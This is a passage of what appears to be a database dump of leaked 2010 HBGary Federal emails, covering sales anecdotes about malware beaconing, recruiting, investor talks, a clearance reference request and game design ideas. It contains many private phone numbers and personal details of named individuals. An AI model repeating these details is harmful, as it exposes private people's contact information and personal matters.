message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Sullivan,\r\nMary&quot; &lt;mary.sullivan@fidelissecurity.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nSeptember\r\n3, 2010 9:58:38 AM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;Barr\r\nAaron&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nFW: another use case\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTalked to this customer yesterday&#8212;there were 126 affected hosts\r\nin all, all with a win32 process that was a malware downloader. They had to go\r\nthrough the processes one by one&#8230;.he&#8217;s sending me policy described below.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\n\r\n\r\n\r\n\r\nD 240-396-2446\r\n\r\n\r\n\r\n\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Sullivan, Mary&nbsp;\r\nSent:&nbsp;Tuesday, August 31,\r\n2010 5:04 PM\r\nTo:&nbsp;\'Barr Aaron\'\r\nSubject:&nbsp;another use case\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nThis\r\ngot me all worked up and I had to share. Just spoke to a customer who let\r\n&#8220;unknown protocol&#8221; decoder &nbsp;run over the weekend, and then sorted it by\r\ndestination using our group by feature. He found a lot of activity to a single\r\nhost in China, TCP over port 80. 100 affected hosts that appear to be beaconing\r\nevery several minutes. He has desktop support looking at them but so far McAfee\r\ncan&#8217;t ID anything&#8230;.very interesting though.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJ\r\n\r\n\r\n\r\n\r\n\r\nGo\r\npolicy pack&#8230;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMary\r\nSullivan | Federal Sales Manager | Fidelis Security Systems, Inc.\r\nD 240-396-2446 | M 301-980-1308 |&nbsp;mary.sullivan@fidelissecurity.com&nbsp;|&nbsp;www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSee It | Study It | Stop It with Fidelis XPS:&nbsp;&nbsp;http://www.youtube.com/fidsecsys.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1516,'aaron_hbgary_com/1516.html'),(11289,'2010-09-03','\"Tj Gupta\" <tj@riveriagroup.com>','/aaron@hbgary.com/new/1297008588.M494534P14101Q6144.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"David Gertler\" <gertler@me.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Connection','Thanks Aaron, my associate, Nicholas Safford, will reach out to you to\r\ngather the necessary information for us and introduce you to the firm.\r\n\r\nBest,\r\n\r\nTj\r\n\r\nOn 9/3/10, Aaron Barr  wrote:\r\n> David,\r\n>\r\n> Thank you for the introduction and sure thing I will send you a note in a\r\n> few weeks.\r\n>\r\n> TJ.  Happy to meet you.  My cell is 719.510.8478.  Look forward to talking\r\n> with you.\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Sep 3, 2010, at 9:39 AM, David Gertler wrote:\r\n>\r\n>> Aaron\r\n>>\r\n>> It was good talking with you the other day. As i mentioned, I would like\r\n>> to introduce you to TJ Gupta and his private equity group.  TJ is actively\r\n>> looking for good companies that need some expansion capital and you\r\n>> clearly fit within his target thesis.\r\n>>\r\n>> Send him your phone number and I\'m sure he call you\r\n>>\r\n>> PS. This is my personal email address; feel free to send me a note in a\r\n>> week or two and we\'ll grab a Starbucks.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> David Gertler\r\n>>\r\n>> Sent from my iPad\r\n>\r\n>\r\n\r\n\r\n-- \r\nTj Gupta\r\nManaging Partner\r\nRiveria Investment Group\r\n145 East 57th Street, 11th Floor\r\nNew York, NY 10022\r\nOffice: +1 917 421 9971\r\nDirect: +1 212 994 4117\r\nMobile: +1 703 615 3291\r\nFax: +1 646 537 2655\r\nwww.riveriagroup.com\r\n\r\nDisclaimer:\r\nThe information contained in this electronic message and in any attachments\r\nto this message is confidential, legally privileged and intended only for\r\nthe person or entity to which this electronic message is addressed. If you\r\nare not the intended recipient, please notify the system manager and you are\r\nhereby notified that any distribution, copying, review, retransmission,\r\ndissemination or other use of this electronic transmission or the\r\ninformation contained in it is strictly prohibited. Please accordingly also\r\nnote that any views or opinions presented in this email are solely those of\r\nthe author and may not represent those of the Company or bind the Company.\r\nThis message has been scanned for viruses and dangerous content by Mail\r\nScanner, and is believed to be clean. The Company accepts no liability for\r\nany damage caused by any virus transmitted by this email.\r\n',4661,'aaron_hbgary_com/4661.html'),(11290,'2010-09-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008588.M706724P14101Q6145.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','To Do from yesterday','Prep for TMC demo/briefing next week. (Mark & Ted get it working /\r\nAaron prep for briefing)\r\nPrep for Bank of the West / Endgames login (Mark)\r\nWork out details w/Penny about HBGary Website work. (Ted)\r\nPrep for training / course material (Aaron / Ted)\r\nGet our website live -- CONTENT (Aaron / Ted)\r\nPrep for Active Defense Demo (Ted)\r\nCRM -- start selling - send mass email to BlackHat visitors (Ted)\r\nBAE / Joe follow-up on classified demo (Aaron)\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',5575,'aaron_hbgary_com/5575.html'),(11291,'2010-09-03','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008588.M919523P14101Q6146.eml','\"Barr, Aaron\" <aaron@hbgary.com>,\"Berman, Jim\" <james.berman@inceptre.com>,\"Chambliss, Leo\" <Leo.chambliss@macb.com>,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Kirkpatrick, J.\" <kirkpatrickj@thebuffalogroup.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>,\"Obrien, P.\" <obrienp@thebuffalogroup.com>,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Rondon, Kathy\" <kathyrondon@aol.com>,\"Schlee, P.\" <schleep@thebuffalogroup.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Syverson, Jason\" <jason.syverson@siegetechnologies.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Barr, Aaron\" <aaron@hbgary.com>','Labor Day weekend work','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam, \r\n\r\nPlease advise if anyone will be working at the ManTech Falls\r\nChurch facility through the weekend.&nbsp; All team members planning to work through\r\nthe weekend will need to be briefed by ManTech security prior to close of\r\nbusiness today.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks very much in advance, \r\n\r\nAmanda\r\nJ. Windle \r\n\r\nCapture Manager\r\nManTech International Corporation\r\nMission Cyber &amp; Technology Solutions Group\r\n\r\n7799 Leesburg Pike Suite 700 South\r\nFalls Church, VA 22043\r\n703-485-8056&nbsp;office\r\n\r\n703-200-2557 cell\r\n\r\namanda.windle@mantech.com\r\n\r\nMaking America Stronger by Supporting and Securing Critical Missions\r\n\r\n&nbsp;**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13224,'aaron_hbgary_com/13224.html'),(11292,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008589.M136527P14101Q6147.eml','\"Jose sandoval\" <sandoval425@gmail.com>','Re: Jobs','Hi Jose. &nbsp;Did you have any luck by chance?Hope all is going well. &nbsp;Where did you end up?AaronOn Aug 22, 2010, at 12:02 PM, Jose sandoval wrote:Aaron, might be able to help you out.&nbsp; Let me ping some of my friends in the DC area.&nbsp; I have quite a few...\r\n&nbsp;\r\nJose\r\n&nbsp;\r\nOn Mon, Aug 16, 2010 at 8:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nLinkedInAaron Barr has sent you a message.Date: 8/16/2010 Subject: Jobs Hey Jose, Hows it going? I have a question for you. I am looking to staff potential positions on the TSA ITSSS contract for lead incident responder, lead forensic analyst, lead SOC, lead cyber intelligence. \r\nKnow of anyone that has a TS and in DC or willing to relocate? I also have a few positions at CIA and NSA but those require full poly... Thanks, Aaron View/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.© 2010, LinkedIn Corporation\r\n',4505,'aaron_hbgary_com/4505.html'),(11293,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008589.M349678P14101Q6148.eml','\"Moore, Adrianne\" <adrianne.moore@usis.com>','Re: Jonathan George Security Clearance Investigation','Sorry Adrianne,I let this slip. &nbsp;Would you still like to set something up?AaronOn Aug 24, 2010, at 12:45 PM, Moore, Adrianne wrote:\r\n\r\n\r\nMr. Barr,&nbsp;My name is Adrianne Moore and I \r\nam an Investigator with the United States Air Force. I am conducting a security \r\nclearance reinvestigation for&nbsp;Jonathan \r\nGeorge.&nbsp;Jonathan \r\nGeorge&nbsp;listed you as a reference and provided me with your email \r\naddress as he did not have your current phone \r\nnumber. If at all possible I would like to set up a time that we could \r\nmeet for a couple of minutes to speak about \r\nJonathan George. My phone number is 540-446-7074. I appreciate your help \r\nin this process.&nbsp;Thank You,&nbsp;Adrianne Moore\r\n&nbsp;\r\nAdrianne \r\nMoore&nbsp;USIS/Investigator4000 Legato Rd2nd Floor Suite 200Fairfax, VA \r\n22033&nbsp;(1-540)-446-7074&nbsp;adrianne.moore@usis.com&nbsp;\r\n&nbsp;\r\n\r\nThe information contained in and transmitted with this e-mail is confidential.  It is intended only for the individual or entity designated above. You are hereby notified that any dissemination, distribution, copying or use of or reliance on the information contained in and transmitted with this e-mail by or to anyone other than the recipient designated above by the sender is unauthorized and strictly prohibited.  If you have received this e-mail in error, please contact the sender immediately and notify them that you received this in error.  Any e-mail erroneously transmitted to you should be immediately destroyed.  Thank you for your attention to this note of confidentiality. \r\n\r\n\r\n',11465,'aaron_hbgary_com/11465.html'),(11294,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008589.M551014P14101Q6149.eml','rupton@generalcatalyst.com','Discussions','Hi Rick,\r\n\r\nSorry we have not gotten back to you.  Just got busy.  I would be happy to get together the next time your in town.  Just shoot me a note.\r\n\r\nAaron',6272,'aaron_hbgary_com/6272.html'),(11295,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008589.M758728P14101Q6150.eml','\"Tiffanny L Gates\" <Tiffanny.Gates@ManTech.com>','Investment','Hi Tiffany,\r\n\r\nI would like to talk with you about the possibilities of investment.  We have a few shortfalls.  While I think we have positioned ourselves well with primes such as ManTech, TASC, L-3, and SAIC for long-term contracts, most of those are either not awarding until later this calendar year or early next.  We have fallen short on some of the earlier contracts we were pursuing.  Our training has the potential to be very profitable, but we are just getting that off the ground and we have cash flow \"issues\".\r\n\r\nSo in the short term things are stressful.  In the long-term things look good.\r\n\r\nAaron',1297,'aaron_hbgary_com/1297.html'),(11296,'2010-09-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008589.M974658P14101Q6151.eml','\"Penny Leavy\" <penny@hbgary.com>','Website','Hi Penny,\r\n\r\nMark and I briefed the customer yesterday on the test results, they\r\nseemed pleased.  I\'m incorporating some customer feedback and will\r\nsend them the final deliverables and invoice (~$32K) today.  You\r\nmentioned on the phone that you\'re looking to have some website work\r\ndone to HBGary.com.  Do you have some time today to discuss?\r\n\r\n-- \r\nTed\r\n',3556,'aaron_hbgary_com/3556.html'),(11297,'2010-09-03','\"Upton, Ric\" <rupton@generalcatalyst.com>','/aaron@hbgary.com/new/1297008590.M172482P14101Q6152.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Discussions','Aaron -\r\nGood to hear from you. I happen to be back in DC on Weds and could stop by in the early afternoon if you have any time. Otherwise, we\'ll play it by ear on my next trip.\r\nLook forward to getting together with you and continuing our conversation.\r\n\r\nHave a great weekend ... Ric\r\n-- \r\nDr. Richard A. Upton\r\nExecutive in Residence\r\nGeneral Catalyst Partners\r\n20 University Road\r\nCambridge, MA  02138\r\nPhone: (617) 234-6002\r\nCell: (781) 439-5359\r\nEmail: rupton@generalcatalyst.com\r\n\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Friday, September 03, 2010 11:29 AM\r\nTo: Upton, Ric\r\nSubject: Discussions\r\n\r\nHi Rick,\r\n\r\nSorry we have not gotten back to you.  Just got busy.  I would be happy to get together the next time your in town.  Just shoot me a note.\r\n\r\nAaron\r\n',4668,'aaron_hbgary_com/4668.html'),(11298,'2010-09-03','\"Sandoval, Jose (US - Arlington)\" <jsandoval@deloitte.com>','/aaron@hbgary.com/new/1297008590.M370068P14101Q6153.eml','\"Aaron Barr\" <aaron@hbgary.com>','Hello','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n						\r\n\r\n\r\n\r\nAaron,\r\nmy apologies for not getting back to you earlier.&nbsp; I will follow up with\r\nmy friends to see if there was any interest on the jobs.\r\n\r\n&nbsp;\r\n\r\nThanks.\r\n\r\n&nbsp;\r\n\r\nJose Sandoval\r\n\r\nERS Manager | Cyber Security\r\n\r\nDeloitte &amp; Touche LLP\r\n\r\n14100 San Pedro Ave., Suite 700, San Antonio, TX 78232\r\n\r\nMobile: +1 210 501 3596 | Fax: +1 866 609 9361 \r\njsandoval@deloitte.com | www.deloitte.com\r\n\r\n&nbsp;\r\n\r\nPlease consider the environment before printing\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n								\r\n						This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law.&nbsp; If you are not the intended recipient, you should delete this message.&nbsp;\r\n						Any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. [v.E.1]\r\n',16137,'aaron_hbgary_com/16137.html'),(11299,'2010-09-03','\"Alan Ehrlich\" <alan@wallachsearch.com>','/aaron@hbgary.com/new/1297008590.M704704P14101Q6154.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Willis McDonald\'s contact info','Hello Aaron,\r\n\r\nEd asked that I send you Willis McDonald\'s contact info and availability.  His home# is 678-425-9890, his cell# is 770-235-5471.  He is home by the phone today.\r\n\r\nThanks\r\n\r\nAlan\r\n~~~~~~~~~~~~~~~~~~~~~~~~~\r\nAlan Ehrlich\r\nRecruiter\r\nEd Wallach Search Group\r\nalan@wallachsearch.com\r\nwww.wallachsearch.com\r\n(480) 656-1164 Office\r\n(480) 656-5408 Cell\r\n\r\n\"Recruiting Intelligence\"\r\n\r\n\r\n\r\n\r\n',5950,'aaron_hbgary_com/5950.html'),(11300,'2010-09-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008590.M913533P14101Q6155.eml','\"Aaron Barr\" <aaron@hbgary.com>','how a player founds a city \'district\'',' \r\nI think this will work better than a MyBlock:\r\n \r\nthe city or district is a large NxM area of buildable space.  In the very center of this space is a fountain or statue that represents the center.  This is the in-game device that characters can interact with.  The district is founded when a player creates this center device.  The center device is set to a real world location.  The center device accepts contributions related to the real world location.  A certain number of unique players have to participate from that real life location.  When the goals are met, the district is &#39;born&#39; so to speak, and property becomes available for purchase or reward in the NxM space that makes up the in-game district.  Perhaps the initial founding members are also rewarded with deeds for some subset of properties in the surrounding district.\r\n\r\n \r\nMultiple districts possible in one captial city.  Districts have walls, gates, bridges in and out, etc, so if look and feel of districts differ this won&#39;t seem like an unnatural transition.\r\n \r\nDistrict - 2 -District warfare possible.\r\n \r\nFounding members of a district set &#39;zoning requirements&#39; for the district, including color palette and even the minimal value of a building allowed to be constructed there.\r\n \r\nPlayers have opportunity to build without going through this &#39;district&#39; experience - the &#39;district&#39; system is designed so players that co-exist in a real world location can found an extension to reality on their own, without us having to think ahead and make them in every theme for every city.  Districts may emerge for all kinds of interesting real-world places.\r\n\r\n \r\n-G\r\n',14211,'aaron_hbgary_com/14211.html'),(11301,'2010-09-03','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297008592.M216079P14101Q6156.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: HB Gary Proposal December 2010','Hi Aaron, Last year Penny and HBGary participated in the December GTRA (Government Technology Research Alliance) Summit in Pennsylvania. It was very successful -- in fact, HBGary won several awards based on our participation. The show is coming up again December 5-7 and we thought you might be interested in participating on behalf of HBGary Federal. Attached are the two possible sponsorship opportunities. Right now, they still have two speaking slots open. If you are interested, we would need to let them know early next week to hold one of those spots. \r\n\r\n \r\nPenny can fill you in on more details if you have questions, etc. Also, here is a link to the summit http://gtra.org/index.php/gtra-events/dec-2010-defense-council-meeting\r\n\r\n \r\nPlease let me know what you decide. Best, Karen \r\n---------- Forwarded message ----------From: Kelly Yocum &lt;kellyy@gtra.org&gt;Date: Fri, Sep 3, 2010 at 9:00 AM\r\nSubject: HB Gary Proposal December 2010To: &quot;karen@hbgary.com&quot; &lt;karen@hbgary.com&gt;\r\n\r\n\r\nHi Karen,It was great speaking with you. Attached are the two package options we have available. The significant differences are speaking, number of attendees, number of guaranteed government meetings and the upgraded deluxe marketing package.\r\nPlease don&#39;t hesitate to call my cell should you have any questions.Have a great weekend!\r\n\r\nBest Regards,\r\nKelly YocumCo-Founder &amp; Executive DirectorGovernment Technology Research Alliance \r\n(GTRA)1701 Pennsylvania Ave, NWSuite 300\r\nWashington DC, 20006202.248.5411 Office415.596.5000 Mobile\r\n202.351.0569 Faxwww.GTRA.org \r\nwww.GTRACouncilMeeting.orgwww.GOVTekAwards.org\r\nhttp://www.linkedin.com/in/kellyyocumhttp://www.twitter.com/gtra\r\nGTRA – Improving Government Collaboration For Solutions &amp; Innovation!\r\n\r\n',16717,'aaron_hbgary_com/16717.html'),(11302,'2010-09-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008592.M498327P14101Q6157.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: EXTERNAL: Update from Ted','---------- Forwarded message ----------From: Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt;\r\nDate: Fri, Sep 3, 2010 at 10:41 AMSubject: RE: EXTERNAL: Update from TedTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nI apologize for the length of time it has taken me to get back\r\nto you.  I would like to follow-up with you, perhaps meet, and discuss some of\r\nthe overarching trends you are seeing in the community.  I have read and\r\ndigested the whitepapers that you provided, and agree with many of your\r\nassessments.\r\n\r\n \r\n\r\nLet me know how your schedule looks, and have a good Labor Day\r\nweekend.\r\n\r\n \r\n\r\nRegards,\r\n\r\nBrandon \r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, July 30, 2010 11:29 AM\r\nTo: Pugsley, Brandon\r\nCc: Mcculloch, Scott D\r\nSubject: Re: EXTERNAL: Update from Ted\r\n\r\n\r\n\r\n \r\n\r\nHi Brandon,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThis week HBGary presented our new\r\nFingerprint application at\r\nBlackhat.  Fingerprint examines tool-marks\r\nleft in executables and\r\nuses them to create a signature that can help with\r\nmalware attribution\r\nand lineage -- ie finding the bad guys.  We\r\nreleased Fingerprint as a\r\nfree download, including the source-code, so\r\norganizations can tailor\r\nit to their unique mission and help advance the\r\ntechnology.  We have\r\n\r\n\r\n\r\n\r\n\r\nlots of ideas on how this technology can be\r\nused in a big way to help\r\n\r\n\r\n\r\n\r\n\r\nthe cyber fight.  I look forward to\r\ndiscussing future teaming opportunities.\r\n\r\n\r\n\r\n\r\n\r\n\r\nYou can download and find out more about our\r\nFingerprint tool here:\r\nhttp://www.hbgary.com/community/free-tools/\r\n\r\nYou can read more about our Blackhat talk here:\r\n\r\n\r\n\r\nhttp://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Fri, Jul 23, 2010 at 9:40 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nLikewise!  Scott did send me the\r\nwhitepapers.  Let me get a look and see what technical folks/activities\r\ntie in.  I’m working across some of the broader initiatives, and your\r\nteam’s expertise is well beyond my depth.  I look forward to learning more\r\nabout what you are working to accomplish, and seeing if we can leverage it\r\nappropriately.\r\n\r\n \r\n\r\nBest,\r\n\r\nBrandon\r\n\r\n \r\n\r\n \r\n\r\nBrandon Pugsley\r\n\r\nInformation Systems &amp; Global\r\nServices-Security\r\n\r\nBusiness Development, Advanced Programs\r\n\r\nOffice 703.466.2788\r\n\r\nCell 703-999-9162\r\n\r\nPager 800-200-5295\r\n\r\nbrandon.pugsley@lmco.com\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Friday, July 23, 2010 11:18 AM\r\nTo: Pugsley, Brandon\r\nCc: Mcculloch, Scott D\r\nSubject: Re: EXTERNAL: Update from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi\r\nBrandon,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nNice\r\nto virtually meet you.  Did Scott attach the whitepapers?  If not, I\r\ncan resend.  What areas of Cyber are you focused on.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn\r\nFri, Jul 23, 2010 at 6:45 AM, Mcculloch, Scott D &lt;scott.d.mcculloch@lmco.com&gt;\r\nwrote:\r\n\r\nTed,\r\n\r\nGoo dto hear from you. And no I have not got on facebook yet.\r\n\r\nOn the CC line is Brandon, he is working some LM initiatives that could have\r\nsome relevance to your companies capabilities.\r\n\r\nScott D. McCulloch\r\nBusiness Development - Capture Excellence Lockheed Martin IS&amp;GS - Security\r\n571-246-3148 (Cell)\r\n703-466-2315 (Office)\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, July 14, 2010 5:12 PM\r\nTo: Mcculloch, Scott D\r\nSubject: EXTERNAL: Update from Ted\r\n\r\nHi Scott,\r\n\r\nHow&#39;s it going?  Did you ever get up on Facebook?\r\n\r\nI&#39;m trying to drum up some business, and I thought you might be interested in\r\nwhat I&#39;ve been up to for the last six months or so.  I run a small\r\nsoftware development and services company, HBGary.  We specialize in all\r\nthings related to malware.  Greg Hoglund is our CEO and founded the\r\ncompany in 2003.  Greg is an accomplished author, world recognized leader\r\nin rootkit technology and was recently named one of &quot;10 hackers to\r\nknow&quot; in Network Security magazine.  We offer a number of Cyber\r\nservices including malware reverse engineering, vulnerability research, exploit\r\ndevelopment, incident response, penetration testing, and digital forensics.\r\n We also have a mature product-line of COTS which assist in accomplishing\r\nthose tasks.\r\n\r\n\r\n\r\nI&#39;ve attached three whitepapers that I think you may find interesting.\r\n The first is our analysis of the Aurora attack, the second is a how-to\r\nguide for using our REcon product to develop software exploits, and the third\r\ndescribes our latest Enterprise product, Active Defense.\r\n\r\n\r\n\r\nI&#39;d appreciate any introductions you can provide, if you know anyone that you\r\nthink may be interested in our offerings, or advice you may have.\r\n\r\nWarm Regards,\r\nTed\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\nhttp://www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',6651,'aaron_hbgary_com/6651.html'),(11303,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008592.M723718P14101Q6158.eml','\"Alan Ehrlich\" <alan@wallachsearch.com>,\"Alan Ehrlich\" <alan@wallachsearch.com>','Re: Willis McDonald\'s contact info','Hi Alan,\r\n\r\nI spoke with Willis this morning with one of our engineers.  The conversation went well.  I am passing his resume minus name to the prime for evaluation.  We will likely set up a second call with the prime to vet sometime next week.\r\n\r\nAaron\r\n\r\nOn Sep 3, 2010, at 12:29 PM, Alan Ehrlich wrote:\r\n\r\n> Hello Aaron,\r\n> \r\n> Ed asked that I send you Willis McDonald\'s contact info and availability.  His home# is 678-425-9890, his cell# is 770-235-5471.  He is home by the phone today.\r\n> \r\n> Thanks\r\n> \r\n> Alan\r\n> ~~~~~~~~~~~~~~~~~~~~~~~~~\r\n> Alan Ehrlich\r\n> Recruiter\r\n> Ed Wallach Search Group\r\n> alan@wallachsearch.com\r\n> www.wallachsearch.com\r\n> (480) 656-1164 Office\r\n> (480) 656-5408 Cell\r\n> \r\n> \"Recruiting Intelligence\"\r\n> \r\n> \r\n> \r\n> \r\n\r\n',16901,'aaron_hbgary_com/16901.html'),(11304,'2010-09-03','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008592.M929383P14101Q6159.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Willis McDonald\'s contact info','Great to hear Aaron\r\n\r\nThx\r\n\r\n~~~~~~~~~~~~~~~~~\r\nEd Wallach\r\nPresident & CEO \r\nEd Wallach Search Group\r\n301-365-3291 office\r\n301-613-0629 cell\r\nwww.wallachsearch.com\r\ned@wallachsearch.com\r\n\r\nRECRUITING INTELLIGENCE\r\n\r\nOn Sep 3, 2010, at 12:50 PM, Aaron Barr  wrote:\r\n\r\n> Hi Alan,\r\n> \r\n> I spoke with Willis this morning with one of our engineers.  The conversation went well.  I am passing his resume minus name to the prime for evaluation.  We will likely set up a second call with the prime to vet sometime next week.\r\n> \r\n> Aaron\r\n> \r\n> On Sep 3, 2010, at 12:29 PM, Alan Ehrlich wrote:\r\n> \r\n>> Hello Aaron,\r\n>> \r\n>> Ed asked that I send you Willis McDonald\'s contact info and availability.  His home# is 678-425-9890, his cell# is 770-235-5471.  He is home by the phone today.\r\n>> \r\n>> Thanks\r\n>> \r\n>> Alan\r\n>> ~~~~~~~~~~~~~~~~~~~~~~~~~\r\n>> Alan Ehrlich\r\n>> Recruiter\r\n>> Ed Wallach Search Group\r\n>> alan@wallachsearch.com\r\n>> www.wallachsearch.com\r\n>> (480) 656-1164 Office\r\n>> (480) 656-5408 Cell\r\n>> \r\n>> \"Recruiting Intelligence\"\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n\r\n',10387,'aaron_hbgary_com/10387.html'),(11305,'2010-09-03','alan@wallachsearch.com','/aaron@hbgary.com/new/1297008593.M119149P14101Q6160.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Willis 